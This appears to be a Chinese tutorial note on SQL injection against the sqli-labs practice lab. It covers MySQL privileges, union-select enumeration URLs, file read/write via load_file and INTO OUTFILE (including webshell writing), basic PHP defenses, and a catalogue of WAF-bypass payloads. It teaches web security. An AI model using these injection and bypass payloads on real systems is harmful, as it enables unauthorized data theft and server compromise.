# SQL注入之高权限注入 在数据库中区分有数据库系统用户与数据库普通用户,二者的划分主要体现在对一些高级函数与资源表的访问权限上。直白一些就是高权限系统用户拥有整个数据库的操作权限,而普通用户只拥有部分已配置的权限。 网站在创建的时候会调用数据库链接,会区分系统用户链接与普通用户链接;当多个网站存在一个数据库的时候,root就拥有最高权限可以对多个网站进行管辖,普通用户仅拥有当前网站和配置的部分权限。所以当我们获取到普通用户权限时,我们只拥有单个数据库权限,甚至文件读写失败;取得高权限用户权限,不仅可以查看所有数据库,还可以对服务器文件进行读写操作。 ### 多个网站共享mysql服务器 ### MySQL 权限介绍 mysql中存在4个控制权限的表,分别为user表,db表,tables_priv表,columns_priv表, 我当前的版本mysql 5.7.22 。 ``` select * from user where user='root' and host='localhost'\G; mysql权限表的验证过程为: 先从user表中的Host,User,Password这3个字段中判断连接的ip、用户名、密码是否存在,存在则通过验证。 通过身份认证后,进行权限分配, 按照user,db,tables_priv,columns_priv的顺序进行验证。 即先检查全局权限表user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y, 将不再检查db, tables_priv,columns_priv;如果为N,则到db表中检查此用户对应的具体数据库, 并得到db中为Y的权限;如果db中为N,则检查tables_priv中此数据库对应的具体表,取得表中的权限Y,以此类推。 2.1 系统权限表 User表:存放用户账户信息以及全局级别(所有数据库)权限,决定了来自哪些主机的哪些用户可以访问数据库实例,如果有全局权限则意味着对所有数据库都有此权限 Db表:存放数据库级别的权限,决定了来自哪些主机的哪些用户可以访问此数据库 Tables_priv表:存放表级别的权限,决定了来自哪些主机的哪些用户可以访问数据库的这个表 Columns_priv表:存放列级别的权限,决定了来自哪些主机的哪些用户可以访问数据库表的这个字段 Procs_priv表:存放存储过程和函数级别的权限 2. MySQL 权限级别分为: 全局性的管理权限:作用于整个MySQL实例级别 数据库级别的权限:作用于某个指定的数据库上或者所有的数据库上 数据库对象级别的权限:作用于指定的数据库对象上(表、视图等)或者所有的数据库对象 3.查看mysql 有哪些用户: mysql> select user,host from mysql.user; 4.查看用户对应权限 select * from user where user='root' and host='localhost'\G; #所有权限都是Y ,就是什么权限都有 5.创建 mysql 用户 有两种方式创建MySQL授权用户 执行create user/grant命令(推荐方式) CREATE USER 'finley'@'localhost' IDENTIFIED BY 'some_pass'; 通过insert语句直接操作MySQL系统权限表 6.只提供id查询权限 grant select(id) on test.temp to test1@'localhost' identified by '123456'; 7.把普通用户变成管理员 GRANT ALL PRIVILEGES ON *.* TO 'test1'@'localhost' WITH GRANT OPTION; 8.删除用户 drop user finley@'localhost'; ``` # SQL注入之高权限注入 1.注入流程与上节实例相同 #### 查询所有数据库名称 ``` http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata ``` #### 查询数据库对应的表名 ``` http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x74657374 ``` #### 查询表名对应的字段名 ``` http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7431 ``` #### 查询数据 ``` http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,name,pass%20from%20test.t1 ``` # SQL注入之文件读写 #### 文件读写注入的原理 就是利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息。 #### 文件读写注入的条件 高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限 **secure_file_priv选项** ``` linux cat etc/conf win www/mysql / my.ini ``` show global variables like '%secure%' 查看mysql全局变量的配置 1、读写文件需要 `secure_file_priv`权限 **`secure_file_priv=`** 代表对文件读写没有限制 `secure_file_priv=NULL` 代表不能进行文件读写 `secure_file_priv=d:/phpstudy/mysql/data` 代表只能对该路径下文件进行读写 2、知道网站绝对路径 Windows常见: Linux常见: 路径获取常见方式: 报错显示,遗留文件,漏洞报错,平台配置文件等 #### 读取文件 使用函数:`load_file()` 后面的路径可以是单引号,0x,char转换的字符。 注意:路径中斜杠是/不是\。 一般可以与union中做为一个字段使用,查看config.php(即mysql的密码),apache配置... #### 写入文件 使用函数:`Into Outfile`(能写入多行,按格式输出)和 `into Dumpfile`(只能写入一行且没有输出格式) outfile 后面不能接0x开头或者char转换以后的路径,只能是单引号路径 # SQL注入之基础防御 ### 魔术引号 魔术引号(Magic Quote)是一个自动将进入 PHP 脚本的数据进行转义的过程。 最好在编码时不要转义而在运行时根据需要而转义。 魔术引号: 在php.ini文件内找到 ``` magic_quotes_gpc = On 开启 将其改为 magic_quotes_gpc = Off 关闭 ``` ### 内置函数 做数据类型的过滤 is_int()等 addslashes() mysql_real_escape_string() mysql_escape_string() ### 自定义关键字 str_replace() 其他安全防护软件 WAF ...... # SQL注入之WAF绕过 ### `WAF拦截原理:WAF从规则库中匹配敏感字符进行拦截。` # 关键词大小写绕过 ``` 有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过 举例:union select ---> unIOn SeLEcT ``` # 编码绕过 ``` 针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等. 举例:union select 1,2,3# =union%0aselect 1\u002c2,3%23 ``` # 双写绕过 ``` 部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。 举例:UNIunionON ,SELselectECT anandd ``` # 换行(\N)绕过 ``` 举例:select * from admin where username = \N union select 1,user() from admin ``` # 注释符内联注释绕过: ``` union selecte =/*!union*/ select 注释符里感叹号后面的内容会被mysql执行。 ``` # 同义词替换 ``` and=&& or=|| =(等于号)=<、> 空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等 注:%0a是换行也可以替代空格 ``` # HTTP参污染 ``` 对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。 举例:?id=1&id=2&id=3 ?id=1/**&id=-1%20union%20select%201,2,3%23*/ ``` ### `WAF绕过的思路就是让WAF的检测规则,识别不到你所输入的敏感字符,利用上述所介绍的知识点,灵活结合各种方法,从而可以增加绕过WAF的可能性` ``` order by绕过:%20/*//--/*/ V4.0 联合绕过:union /*!--+/*%0aselect/*!1,2,3*/ --+ from绕过:/*!06447%23%0afrom*/ ``` |
|